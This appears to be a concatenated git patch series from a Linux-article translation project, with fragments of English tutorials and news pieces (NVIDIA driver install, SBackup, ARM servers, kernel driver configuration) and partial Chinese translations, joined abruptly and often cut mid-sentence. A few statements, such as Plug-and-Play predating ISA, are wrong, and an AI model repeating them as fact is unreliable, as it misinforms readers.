by looking on the bright side. The best developers I know are experts at finding points of failure. You’ll often hear them quipping “What could possibly go wrong?” after someone makes a suggestion to handle a critical data transfer via nightly FTP over a dial-up connection. The best developers anticipate headaches that other developers never think of, and do everything within their power to avoid them. - -On the flip side, great developers are optimistic, even downright confident, about their overall success. They know that by being a pessimist in the short-term, their long-term success is ensured. Just like Jim Stockdale, they realize that by confronting the brutal facts of their current reality they will prevail in the end. - -### Angered By Sloppy Code ### - -Paul Graham nailed it when [he said][6] “…people who are great at something are not so much convinced of their own greatness as mystified at why everyone else seems so incompetent.” - -The worst nightmare for a great developer is to see someone else’s software gasping for air while bringing the rest of the system to its knees. It’s downright infuriating. And this isn’t limited to code; it can be bad installation packages, sloppy deployments, or a misspelled column name. - -![](http://softwarebyrob.wpengine.netdna-cdn.com/images/paris_sewers.jpg) - -Due to the life and death nature of their products, NASA designs zero-defect software systems using a process that has nearly eliminated the possibility for human error. They’ve added layer after layer of checks and balances that have resulted from years of finding mistakes and figuring out the best way to eliminate them. NASA is the poster child for discovering the source of a mistake and modifying their process to eliminate the possibility of that mistake ever happening again. And it works. A quote from [this Fast Company article][7] on NASA’s development process says - -“What makes it remarkable is how well the software works. This software never crashes. It never needs to be re-booted. This software is bug-free. It is perfect, as perfect as human beings have achieved. Consider these stats: the last three versions of the program — each 420,000 lines long-had just one error each. The last 11 versions of this software had a total of 17 errors. Commercial programs of equivalent complexity would have 5,000 errors.” - -I’m not saying we have to develop to this standard, but NASA knows how to find and fix bugs, and the way they do it is to find the source of every problem. - -Someone who fixes a problem but doesn’t take the time to find out what caused it is doomed to never become an expert in their field. Experience is not years on the job, it’s learning to recognize a problem before it occurs, which can only be done by knowing what causes it in the first place. - -Developers who don’t take the time to find the source often create sloppy solutions. For hundreds of examples of sloppy solutions visit [The Daily WTF][8]. Here are a few I’ve seen in my career: - -- An assembly is deleted from a server each time it’s rebooted. You could create a custom script to re-copy that assembly to the server after each reboot, or find out why the assembly is being deleted in the first place. -- An image-manipulation script is hogging processor power for minutes at a time when it should run in under 10 seconds. You could make the script run at 2am when no one will notice, or you can take the time to step through the code and figure out where the real problem is. -- A shared XML file is being locked by a process, causing other processes to fail when they try to open it. You could make several copies of the XML file so each process has its own, or you could troubleshoot the file access code to find out why it’s locking the file. -- And on and on… - -### Long Term Life Planners ### - -This one was a little puzzling for the longest time, but I think I’ve finally put it together. - -![](http://softwarebyrob.wpengine.netdna-cdn.com/images/brown_guitar.jpg) - -People who think many years down the road in their personal life have the gift to think down the road during development. Being able to see the impacts of present-day decisions is paramount to building great software. The best developers I know have stable family lives, save for retirement, own their own home, and eat an apple a day (ok, maybe not that last one). People who have spastic home-lives and live paycheck to paycheck can certainly be good developers, but what they lack in life they tend to lack in the office: the ability to be disciplined, and to develop and adhere to a long-term plan. - -### Attention to Detail ### - -I’ve known smart developers who don’t pay attention to detail. The result is misspelled database columns, uncommented code, projects that aren’t checked into source control, software that’s not unit tested, unimplemented features, and so on. All of these can be easily dealt with if you’re building a Google mash-up or a five page website. But in corporate development each of these screw-ups is a death knell. - -So I’ll say it very loud, but I promise I’ll only say it once: - -**I have never, ever, ever seen a great software developer who does not have amazing attention to detail.** - -I worked with a programmer back in school who forced anyone working with him to indent using two spaces instead of tabs. If you gave him code that didn’t use two spaces he would go through it line-by-line and replace your tabs with his spaces. While the value of tabs is not even a question, (I’ve long-chided him for this anal behavior) his attention to such a small detail has served him well in his many years designing chips at Intel. - -### So There You Have It ### - -The next time you’re interviewing a potential developer, determine if she has the four personality traits I’ve listed above. Here are a few methods I’ve found useful: - -- Ask if they’re an optimist or a pessimist -- Ask about a time when they found the source of a problem -- Find out if they save for retirement (you can work this in during discussions of your company’s retirement plan) -- Make an obvious misspelling in a short code sample and ask if they see anything wrong - -We know from [Facts and Fallacies of Software Engineering][9] that the best programmers are up to [28 times better][10] than the worst programmers, making them the best bargains in software. Take these four traits and go find a bargain (or better yet, make yourself into one). - -If you liked this article you’ll also like my article [Timeline and Risk: How to Piss off Your Software Developers][11]. - --------------------------------------------------------------------------------- - -via: http://www.softwarebyrob.com/2006/08/20/personality-traits-of-the-best-software-developers/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.joelonsoftware.com/ -[2]:http://www.econsultant.com/web2/ -[3]:http://www.37signals.com/ -[4]:http://expertanswercenter.techtarget.com/eac/knowledgebaseAnswer/0,295199,sid63_gci986072,00.html -[5]:http://www.amazon.com/gp/redirect.html?link_code=ur2&tag=softwarbyrob-20&camp=1789&creative=9325&location=%2Fgp%2Fproduct%2F0060794410%2Fsr%3D8-3%2Fqid%3D1155789849%2Fref%3Dpd_bbs_3%3Fie%3DUTF8 -[6]:http://www.paulgraham.com/gh.html -[7]:http://www.fastcompany.com/online/06/writestuff.html -[8]:http://www.thedailywtf.com/ -[9]:http://www.amazon.com/gp/redirect.html?link_code=ur2&tag=softwarbyrob-20&camp=1789&creative=9325&location=http%3A%2F%2Fwww.amazon.com%2Fgp%2Fproduct%2F0321117425%2Fsr%3D8-1%2Fqid%3D1154642314%2Fref%3Dpd_bbs_1%3Fie%3DUTF8 -[10]:http://safari.oreilly.com/0321117425/ch01lev1sec1 -[11]:http://www.softwarebyrob.com/articles/Timeline_and_Risk_Piss_Off_Your_Software_Developers.aspx From f3af941d3ab37248c917ee3dad8f631e85b851db Mon Sep 17 00:00:00 2001 From: Linux-pdz Date: Tue, 12 Nov 2013 09:54:54 +0800 Subject: [PATCH 037/402] translated --- ...

331.20 Driver in Ubuntu 13.10 +================================================================================ +**The installation of new NVIDIA drivers can be a problem sometimes, especially if you are not accustomed with the way things usually work on a Linux operating system.** + +![](http://i1-news.softpedia-static.com/images/news2/How-to-Install-the-Latest-NVIDIA-331-20-Drivers-in-Ubuntu-13-10-399182-2.jpg) + +This is where this tutorial will come in handy, to help regular users benefit from the most recent NVIDIA drivers, 331.20. + +There are just a couple of ways of installing the NVIDIA driver on an Ubuntu system, the easy way and the hard way. The easy way is also the most straightforward, but it requires a working internet connection. This method will also introduce you into the beautiful world of PPAs. + +Ubuntu 13.10, just like its predecessors, benefits from a large repository, but Canonical developers don’t upload the most recent version of the driver for several considerations. The most important is that it they don’t risk uploading a piece of software that has yet to be proven stable. + +Fortunately, there is a PPA available that makes available the latest versions of the drivers, a day or two after the launch. Just enter the following command in a terminal (you will need root access): + + sudo add-apt-repository ppa:xorg-edgers/ppa + sudo apt-get update + sudo apt-get install nvidia-331 + +If you already have an older version of the driver you will need to replace the last command with sudo apt-get dist-upgrade + +After the process has finished restart the computer and you’re set. The next time NVIDIA releases a new driver, you will only have to update the system, without adding the PPA. + +The second method is a little more complicated, but you don’t need an Internet connection (you will need to download the driver at some point, but you don’t need the connection during the installation). We will be using the 64-bit driver as an example. + +You will have to enter the virtual console with Ctrl + Alt + F1 and login into the system with the username and password.

So further down the line, if we do have a need to respond to the market, we will have the capability to do that," said Jon Masters, chief ARM architect at Red Hat. Masters spoke Friday at the USENIX LISA (Large Installation System Administration) conference in Washington, D.C. + +The ARM processor represents a "sea change in computing," Masters said. While already the dominant architecture for smartphone and embedded computing devices, ARM processors could also play a role in the data center. Over the past year, servers based on ARM processors have started to show up in the server market. HP is already selling ARM-based servers with its Moonshot line. + +For the data center, because of its low-power design, ARM could bring about an age of hyperscale computing, in which thousands of tiny compute nodes can be packed into a single server rack. "It is a fundamental difference in terms of the sheer scale of what we will be able to build in the near future," Masters said. + +The ARM processors may not run at the speed of x86 processors, but they can offer most of the performance with a fraction of the energy usage, meaning more processors can be packed into a smaller space. "You can take the same technology that goes into your cell phone and make that part of a dense server design" Masters said. + +Many jobs do not require the fastest processors available, he said. Instead the workloads can be spread across more processors. "It's about how much data I can move, not necessarily how much compute I can do," he said. Cloud computing and Web applications, for instance, would do equally well spread out across multiple servers as they would running on fewer, but faster servers. + +ARM's design could also simplify data-center operations. ARM's system on a chip design can eliminate the need for managing many of the external components of servers. For instance, an ARM processor could offer fabric interconnectivity, reducing the need for external cables and top-of-the-rack switches. + +"The days of having discrete cabling for every single blade are numbered," he said. + +There is still a lot of work that needs to be done to bring about hyperscale computing, Masters said. + +ARM licenses its architecture rather than selling processors as Intel does. As a result, there is a fair amount of variation among the different ARM processors from vendors. "There is a lot of gratuitous variation that we don't need to have," Masters said. This can be problematic for data centers that need uniform systems so they can be managed en masse. + +[Linaro][1] is an industry group working to build core open-source software for the ARM platform and part of its mission has been to standardize ARM. Red Hat engineers play a major role in the Linaro Enterprise Group, or LEG, which has been working to standardize the software so users can get one version of Linux to run across ARM processors from multiple vendors. "Those are fundamental expectations in the enterprise space," Masters said. + +"We do need to focus on how to make them fundamentally compatible so you can add value further up the stack," he said. + +Another issue is the support of peripherals, which hasn't been standardized across 32-bit ARM processors. Masters said that LEG is looking into using the ACPI (Advanced Configuration and Power Interface) standard or UEFI (Unified Extensible Firmware Interface) for 64-bit ARM processors. Over time, ARM will offer an automated bus-like capability that will work like PCI buses offer on x86 machines. + +Masters said that Red Hat has not made any announcements about when it would release a version of Red Hat Enterprise Linux for ARM, but he did note that the Fedora Project, the community Linux distribution that tests many of the applications that go into RHEL, now offers a distribution for ARM. + +-------------------------------------------------------------------------------- + +via: http://www.computerworld.com/s/article/9243921/Red_Hat_prepares_for_64_bit_ARM_servers?taxonomyId=122 + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linaro.org/ \ No newline at end of file From bd173024ce4532006d7d3baffbd586e390861b84 Mon Sep 17 00:00:00 2001 From: jasminepeng Date: Tue, 12 Nov 2013 09:39:40 +0800 Subject: [PATCH 039/402] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E4=B8=AD?= MIME-Version: 1.0 Content-Type: text/plain;

It can backup any subset of files and folders. All configuration is accessable via Gnome interface. File and paths can be included and excluded directly or by regex, It supports local and as well as remote backups. Though it looks simple, it has many features to meet the advanced backup functionality. + +### Features ### + +SBackup will do the following things for you: + +- It creates both compressed and uncompressed backups. +- It can split uncompressed backups into multiple parts. +- It support of multiple backup profiles. You can create and edit the profiles as per your requirement, but you can’t delete the default profile. +- It has options such as logging, email notification and status icon presenting progress and notifications. +- It supports scheduled backups and manual backups. +- It can backup files either to local destinations (e.g. hard disk) or remote destinations (e.g. NAS over FTP). + +### Install SBackup On Ubuntu, Linux Mint and Debian ### + +SBackup is available in the default repositories of Ubuntu, Debian and Linux Mint. So just install it using command: + + sudo apt-get install sbackup + +### Launch SBackup ### + +Open up SBackup either from Dash or Menu. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Menu_0011.jpg) + +It will look like as shown below. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_002.jpg) + +### SBackup Profiles ### + +Initially SBackup won’t have any user profiles. Only “default profile” will be available. Be mindful that you can’t delete the default profile. To create a new profile, go to Tools -> Profile Manager. You will have a following like window. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_003.jpg) + +Click Add to create a new profile, let me name the profile as “sk”. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_004.jpg) + +Now a new profile has been created. If you want to use your custom profile, just select the profile and click Edit. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Configuration-Profile-Manager_005.jpg) + +Now you may see that SBackup profile has been switched to “sk” profile. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_006.jpg) + +However you can use default profile and edit it as per your requirements if you wish. + +**Important Note**: If you launch it from a normal user you can’t schedule the backup. To schedule your backup you must run SBackup as root user. As see you in the above screenshots, the schedule tab is greyed out, because i launched it from a normal user. + +In this how-to tutorial, i am going to use **default profile** with root user privileges. + +Open up your Terminal and run the following command to open SBackup with root user privileges. + + sudo sbackup-config-gtk + +The above command will open SBackup with default profile with administrative mode. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_001.jpg) + +### General ### + +In General section you can define how often do you want to do a full backup. The default option is 7 days. By default SBackup will do full backup every 7 days. Then you can define the compression format for your backup file. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0021.jpg) + +### Include ### + +This tab pretty self-explanatory. You can include the files/folders that you want to backup using SBackup. Here you can either select individual files or entire folder to backup. I deleted all directories in the include section and added single directory called “Resume”. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0031.jpg) + +### Exclude ### + +Just like Include tab, we can define the files/folders path to exclude from being backed-up by SBackup. Just select the path of the files/folders that needs to be excluded from backup. By default SBackup will exclude the /media, /var/run/, /var/cache/, /var/spool/ and /vat/tmp/ directories. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0041.jpg) + +Further more, you can add the file types that you want to exclude from backup such mp3 or avi etc. By default SBackup exclude files such as mp3, avi, mpeg, mkv, ogg and iso from backup. If you want to include them in your backup, just select and click remove to add them in your backup. Also if you want to add some other file types in the exclude list, just add them by clicking on the add button. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_005.jpg) + +By default SBackup won’t backup the folders .gvfs, .thumbnails, .Trash and .cache etc. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0061.jpg) + +Also you can omit the files/folders of certain size from backup. Here i excluded the files/folders which are bigger than 100MB in size. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0071.jpg) + +### Destination ### + +This is the path where you want to store your backup file. As i mentioned above, you can backup files/folders either in your local hard drive or to an external destination such as FTP, NAS etc. Here i am going to save my backups in /home/sk/My Backup directory. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_019.jpg) + +**Note:** Make sure that destination has enough free space to store the backup. + +### Schedule ### + +In this section you can schedule the backups at a particular time. Click on the **Simple** radio button and select your schedule type such as hourly, daily, weekly and monthly. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_010.jpg) + +If you’re good at command line crontab, select custom and define the cron job. If you select the daily schedule type, a cron job will be created in the **/etc/cron.daily/** location. + + sudo ls -l /etc/cron.daily/sbackup + +Sample output: + + lrwxrwxrwx 1 root root 33 Nov 8 15:34 /etc/cron.daily/sbackup -> /usr/share/sbackup/sbackup-launch + +### Purging ### + +This section gives you the option to delete the backup files after a particular period. By default, your backup files will be deleted after 30 days. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0111.jpg) + +### Report ### + +Report is the final section. From here you can define to receive the mail notification directly in your inbox after the backups got finished. Enter your mail id, smtp server address, email username and password and click Test settings. Be mindful that, before test the mail settings save the configuration by clicking on the Save Configuration button on the Tool bar. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0121.jpg) + +You’ll see a message “Test Successful” after testing your mail settings. + +### Start Backup ### + +If you want to start backup immediately, click **Make Backup now button** on the SBackup tool bar. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Selection_015.jpg) + +A new window will open. Click Yes to create backup. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/sbackup-config-gtk_024.jpg) + +Now you can see that a backup process will be started in the background. You can monitor the progress of the backup by means of the status indicator displayed in the notification area. + +After completing the backup, close SBackup and check for your backup in the destination directory. In my case my destination directory is /home/sk/My Backup. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Selection_020.jpg) + +### Restore backup ### + +From your Terminal run command: + + sudo sbackup-restore-gtk + +In the SBackup restoration window, select the date to get the list of the available backups and select the any one of the available snapshots. Click on the any one of the files to restore on the Restoration management pane. Once you done, click **restore** to save them in the default location or click **restore as** to save the files in a custom location. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_023.jpg) + +Now the data will be restored from the selected backup.

In this article of the Linux kernel series, we are still configuring drivers for USB networking. Then, we will move on to input devices. - -First, we can enable/disable the "Multi-purpose USB Networking Framework" which allows connecting laptops to desktop systems. - -Next, the ASIX USB-to-Ethernet adapter driver can be enabled/disabled (ASIX AX88xxx Based USB 2.0 Ethernet Adapters). - -Then, there is another ASIX adaptor driver (ASIX AX88179/178A USB 3.0/2.0 to Gigabit Ethernet). - -NOTE: Generally, it is best to add adapter drivers as modules. - -The Communication Device Class specification is offered in the driver (CDC Ethernet support (smart devices such as cable modems)). This specification is for USB modems. The Linux system recognizes this USB networking interface as an Ethernet interface and will be designated as "ethX" where "X" is the Ethernet device number. - -Next is a specification similar to the above (CDC EEM support). CDC EEM stands for Communication Device Class Ethernet Emulation Model. - -The CDC Network Control Model (NCM) also has a driver that offers the specification (CDC NCM support). - -The driver providing the CDC MBIM (Mobile Broadband Interface Model) specification is also available for the Linux kernel (CDC MBIM support). - -Next, there are several vendor/device specific drivers for various USB networking devices and chipsets. - -After those, there is a generic driver for USB network devices that do not require any special drivers (Simple USB Network Links (CDC Ethernet subset)). - -Again, there are some more drivers for device/vendor specific devices. - -FUN FACT: Linux was used to make the special effects for the movie "Titanic" by James Cameron. - -"CDC Phonet support" is for USB Nokia modems that use Phonet. - -Now, we can move on to Wireless LAN drivers which use the 802.11 specification. - -Mainly, there is a list of vendor/device specific drivers. - -"SoftLED Support" controls the LEDs that are associated with the Wifi cards/devices. - -Some chipsets support SDIO as seen by this driver (Atheros ath6kl SDIO support). SDIO is an extension of the Secure Digital specification for wireless SD cards. SDIO stands for Secure Digital Input/Output. - -Kernel developers may also notice that some wireless devices can support QoS. QoS stands for Quality of Service. This feature gives network transmissions priority. Assume two sets of data need to be sent over a network. Only one can go first. QoS will send the most important data first. - -FUN FACT: Technically, Linux is not an operating system. Linux is the kernel while GNU/Linux is the operating system. - -The "Generic HDLC layer" is needed for WAN cards. HDLC stands for High-Level Data Link Control. This is a data link layer protocol. - -Raw HDLC can be used with the "Raw HDLC support" driver enabled. - -The "Raw HDLC Ethernet device support" driver allows the HDLC layer to emulate Ethernet. - - -The cHDLC driver offers a HDLC extension also called Cisco HDLC (Cisco HDLC support). - -The Linux kernel also has a driver for "Frame Relay support" for HDLC. Frame Relay is a Layer 2 protocol. - -HDLC can also support PPP (Synchronous Point-to-Point Protocol (PPP) support) and X.25 (X.25 protocol support). - -Next, this driver offers Frame Relay the ability to use DLCI (Frame Relay DLCI support). - -The "LAPB over Ethernet driver" creates a device file that permits the user to make a LAPB point-to-point connection to another computer via Ethernet. The device file is usually /dev/lapb0 for the first of such device. - -X.25 frames can be sent over telephone lines with this driver (X.25 async driver). Specifically, this driver allows X.25 to use asynchronous serial lines. - -A special driver is needed for ISA SBNI12-xx cards (Granch SBNI12 Leased Line adapter support). These cards are inexpensive substitutes for leased line modems. - -The next driver allows parallel connections to carry scheduled traffic (Multiple line feature support). This allows the Linux system to more efficiently manage parallel connection on SBNI12 adapters. Some Linux users claim this driver doubles their speed. However, I have never tested this to know for myself. - -Next, "IEEE 802.15.4 drivers" can be configured. This is for slow WAN devices. This is a standard that controls the media and physical layers of the wireless network. This specification uses different frequencies in different continents. For example, in Europe, such wireless devices will use the 868.0-868.6MHz frequency. - -The first setting in this category is for a fake LR-WPAN driver (Fake LR-WPAN driver with several interconnected devices). LR-WPAN stand for Low-Rate Wireless Personal Area Network. - -FUN FACT: Only about 2% of the current kernel was written by Linus Torvalds. - -The vmxnet3 virtual Ethernet used by VMware requires this driver (VMware VMXNET3 ethernet driver). When making a kernel for a large number of users, it is best to enable this as a module because someone may want to use the Ethernet on VMware. - -The Hyper-V virtual network needs this driver (Microsoft Hyper-V virtual network driver). You may be wondering if this is the same Hyper-V virtual network by Microsoft. It is and yes, Linux supports Hyper-V. - -The digital telephone service, ISDN, is supported by this driver (ISDN support). ISDN stands for Integrated Services Digital Network. In France, ISDN is known as RNIS which stands for Réseau numérique à intégration de services. With an ISDN adapter, a computer can start and accept voice calls. This allows computers to be used as answering machines or some other telephone service device. ISDN can also carry video information. - -Now, we can move on to input devices (Input device support). These are devices that give the computer information. Mice and keyboards are the most commonly used and known input devices. Scanners are another example of input devices. - -First, there is a driver that supports various haptic/tactile feed-back devices (Support for memoryless force-feedback devices). For instance, many game controllers vibrate which is haptic/tactile feed-back. - -Some input devices check on the status of the hardware (Polled input device skeleton). Such behavior requires this driver. - -Input devices that use sparse keymaps need this driver (Sparse keymap support library). A keymap is the layout information for keyboards. - -Next, this is another keymap (Matrix keymap support library). - -NOTE: When making a kernel for a broad user group, include most or all input devices as modules because the developer usually does not know what type of devices the users may plugin to the computer. - -FUN FACT: A Vanilla Kernel is a Linux kernel in its original, unchanged state. - -The "Mouse interface" makes two different device files for the mouse. The two device files are /dev/input/mouseX and /dev/input/mice. - -This next driver makes a psaux device file that is an alias to /dev/input/mice (Provide legacy /dev/psaux device). The psaux device file is /dev/psaux. - -If the system has a digitizer, then the horizontal resolution needs to be set (Horizontal screen resolution) and then the vertical resolution (Vertical screen resolution). A digitizer is the type of touch-screen that supports touch-pens that allow users to draw. Other touch-screens cannot support such complex input. - -The next driver supports joysticks and gamepads (Joystick interface). This driver creates the /dev/input/jsX files. - -The "Event interface" driver allows input devices to be accessible via /dev/input/eventX. - -The "Event debugging" driver outputs all input events to the system's log. Do not enable this for any reason other than debugging systems. Obviously, for performance reasons, but the main reason I recommend this be disabled is for security purposes. All key-presses are plainly logged including passwords. - -Next, a list of various keyboard drivers are listed for configuration (Keyboards) followed by mouse drivers (Mice) and then joystick/gamepad drivers (Joysticks/Gamepads). - -After that, various drivers for specific tablet hardware/vendors are listed (Tablets). After that is the driver list for "Touchscreens". - -The last set of input device drivers is a list of miscellaneous drivers for specific hardware and vendors (Miscellaneous devices). - -The next article of this series will discuss input ports. Do not forget to read the other articles of this series and this website. Mahalo! - -**NOTE TO FANS: Thank you** for all of your kind emails telling me how much you all love these articles. - ---------------------------------------------------------------------------------

+![](http://www.linux.org/attachments/slide-jpg.578/) + +你好！在这篇Linux系列文章中，我们将继续配置USB网络驱动。接着我们将进入输入设备。 + +首先，我们可以启用/禁用"Multi-purpose USB Networking Framework"，这允许连接笔记本到桌面系统上。 + +下面，可以启用/禁用ASIX USB-to-Ethernet适配器驱动(ASIX AX88xxx Based USB 2.0 Ethernet Adapters)。 + +那么，还有一个ASIX适配器驱动(ASIX AX88179/178A USB 3.0/2.0 to Gigabit Ethernet)。 + +注意：通常地，最好将适配器驱动作为模块加入。 + +通信设备类规范(Communication Device Class specification)在这个驱动中提供(CDC Ethernet support (smart devices such as cable modems))。这个规范用于USB调制解调器。Linux系统可以将USB网络接口识别为以太网网络接口并且指定为"ethX",这里的"X"是以太设备编号。 + +下面是一个与上面类似的规范(CDC EEM support)。CDC

In this article, we will discuss the input/output ports. - -First, the "i8042 PC Keyboard controller" driver is needed for PS/2 mice and AT keyboards. Before USB, mice and keyboards used PS/2 ports which are circular ports. The AT keyboard is an 84-key IBM keyboard that uses the AT port. The AT port has five pins while the PS/2 port has six pins. - -Input devices that use the COM port (sometime called RS232 serial port) will need this diver (Serial port line discipline). The COM port is a serial port meaning that one bit at a time is transferred. - -The TravelMate notebooks need this special driver to use a mouse attached to the QuickPort (ct82c710 Aux port controller). - -Parallel port adapters for PS/2 mice, AT keyboards, and XT keyboards use this driver (Parallel port keyboard adapter). - -The "PS/2 driver library" is for PS/2 mice and AT keyboards. - -"Raw access to serio ports" can be enabled to allow device files to be used as character devices. - -Next, there is a driver for the "Altera UP PS/2 controller". - -The PS/2 multiplexer also needs a driver (TQC PS/2 multiplexer). - -The ARC FPGA platform needs special driver for PS/2 controllers (ARC PS/2 support). - -NOTE: I want to make it clear that the PS/2 controllers that are discussed in this article are not Sony's game controllers for their PlayStation. This article is discussing the 6-pin mouse/keyboard ports. The controller is the card that holds the PS/2 ports. - -The "Gameport support" driver offers support for the 15-pin gameport. Gameport was the 15-pin port used by many input gaming devices until the invention of the USB port. - -The next driver is for gameports on ISA and PnP bus cards (Classic ISA and PnP gameport support). ISA stands for Industry Standard Architecture and was a parallel bus standard before PCI. PnP stands for Plug-and-Play and was a common standard before ISA. - -"PDPI Lightning 4 gamecard support" provides a driver for a proprietary gamecard with gameports. - -The SoundBlaster Audigy card is a proprietary gameport card (SB Live and Audigy gameport support). - - -The ForteMedia FM801 PCI audio controller has a gameport on the card (ForteMedia FM801 gameport support). This driver only supports the gameport. - -Next, we can move on to "Character devices". Character devices transfer data character by character. - -First, TTY can be enabled or disabled (Enable TTY). Removing TTY will save a lot of space, but TTY is needed for terminals and such. Unless you know what you are doing, do not disabled TTY. - -NOTE TO MY FANS: If you know of a reason for disabling TTY, could you post the answer below and share with us. Mahalo! - -Next, support for "Virtual terminals" can be enabled/disabled. Again, a lot of space can be saved, but virtual terminals are very important. - -This next driver supports font mapping and Unicode translation (Enable character translations in console). This can be used to convert ASCII to Unicode. - -Virtual terminals can be used as system consoles with this driver (Support for console on virtual terminal). A system console manages the logins and kernel messages/warnings. - -Virtual terminals must channel through a console driver to interact with the physical terminal (Support for binding and unbinding console drivers). Before the virtual terminal can do so, the console driver must be loaded. When the virtual terminal is closed, the console terminal must be unloaded. - -The next driver provides support for Unix98 PTY (Unix98 PTY support). This is Unix98 pseudo terminal. - -FUN FACT: The Linux kernel allows a filesystem to be mount many times in many places at once. - -Next, "Support multiple instances of devpts" can be supported. The devpts filesystem is for pseudo-terminal slaves. - -Legacy support for PTY can also be enabled (Legacy (BSD) PTY support). - -The max amount of legacy PTYs in use can be set (Maximum number of legacy PTY in use). - -The next driver can be used to offer support to serial boards that the other drivers fail to support (Non-standard serial port support). - -Next, there are some drivers for specific boards and cards. - -The GSM MUX protocol is supported with this driver (GSM MUX line discipline support (EXPERIMENTAL)). - -The next driver enables the kmem device file (/dev/kmem virtual device support). kmem is usually used for kernel debugging. kmem can be used to read certain kernel variables and states. - -The Stallion cards have many serial ports on them (Stallion multiport serial support). This driver specifically supports this card. - -Next, we can move on to drivers for serial devices. As stated before, serial devices transfer one bit at a time. - -The first driver is for standard serial port support (8250/16550 and compatible serial support). - -Plug-and-Play also exists for serial ports with this driver (8250/16550 PNP device support). - -The following driver allows the serial ports to be used for connecting a terminal to be used as a console (Console on 8250/16550 and compatible serial port). - -Some UART controllers support Direct Memory Access (DMA support for 16550 compatible UART controllers). UART stands for Universal Asynchronous Receiver/Transmitter. UART controllers convert serial to parallel and vice versa. - -Next, this driver offers support for standard PCI serial devices (8250/16550 PCI device support). - -16-bit PCMCIA serial devices are supported by this driver (8250/16550 PCMCIA device support). Remember, PCMCIA is a PC-card that is usually used in laptops. - -The maximum number of supported serial ports can be set (Maximum number of 8250/16550 serial ports) and then the maximum that are registered during boot-up (Number of 8250/16550 serial ports to register at runtime). - -For extended serial abilities like HUB6 support, enable this driver (Extended 8250/16550 serial driver options). - -A special driver is needed to support more than four legacy serial ports (Support more than 4 legacy serial ports). - -Serial interrupts can be shared when this driver is used (Support for sharing serial interrupts). - -Serial port IRQs can be autodetected using this driver (Autodetect IRQ on standard ports). - -RSA serial ports are also supported by the Linux kernel (Support RSA serial ports). RSA stands for Remote Supervisor Adapter. RSA is an IBM-specific hardware. - -Next, there are various vendor/device specific divers. - -This is a TTY driver that uses printk to output user messages (TTY driver to output user messages via printk). Printk (print kernel) is a special piece of software that usually prints the boot-up messages. Any string that is displayed by printk is usually put in the /var/log/messages file. The shell command "dmesg" displays all strings that were used by printk. - -Next, we can enable/disable support for parallel printers (Parallel printer support). - -The next driver allows a printer to be used as a console (Support for console on line printer). This means kernel messages will be literally printed at the printer. Normally when the word "print" was used in this article series, it meant putting data on the screen. This time, this literally means putting the data on paper. - -The following driver makes the device files at /dev/parport/ (Support for user-space parallel port device drivers). This allows some processes to access. - -Again, the Linux kernel has many features and drivers, so we will discuss more drivers in the next article. Mahalo! - -NOTE TO FANS: We are getting close to the end of the configuration process. I still have a list of all of the suggested Linux kernel topics that many of you wanted to know about. Some of the topics include installing the kernel, managing modules, adding 3rd-party drivers, and all of the other very interesting suggestions and requests. -

+注意：我想要说清楚这篇文章中讨论的PS/2空孩子气并不是Sony的PlayStation上的游戏控制器。这篇文章讨论的是6针鼠标/键盘端口。控制器是一种有PS/2端口的卡。 + +"Gameport support"提供对15针gameport的支持。gameport是一种曾经被很多游戏设备使用直到USB端口的发明的15针口。 + +下一个驱动是在ISA或者PnP总线卡上的gameport驱动(Classic ISA and PnP gameport support)。ISA代表"Industry Standard Architecture"(工业标准架构)并且它是一种在PCI之前的并行总线标准。PnP代表"Plug-and-Play"(即插即用)并且他是一种在ISA之前的通用标准。 + +"PDPI Lightning 4 gamecard support"提供了一个有gameport的游戏卡的专有驱动。 + +SoundBlaster Audigy卡是一种专有gameport卡(SB Live and Audigy gameport support)。 + +ForteMedia FM801 PCI音频控制器在卡上有一个音频控制器(ForteMedia FM801 gameport

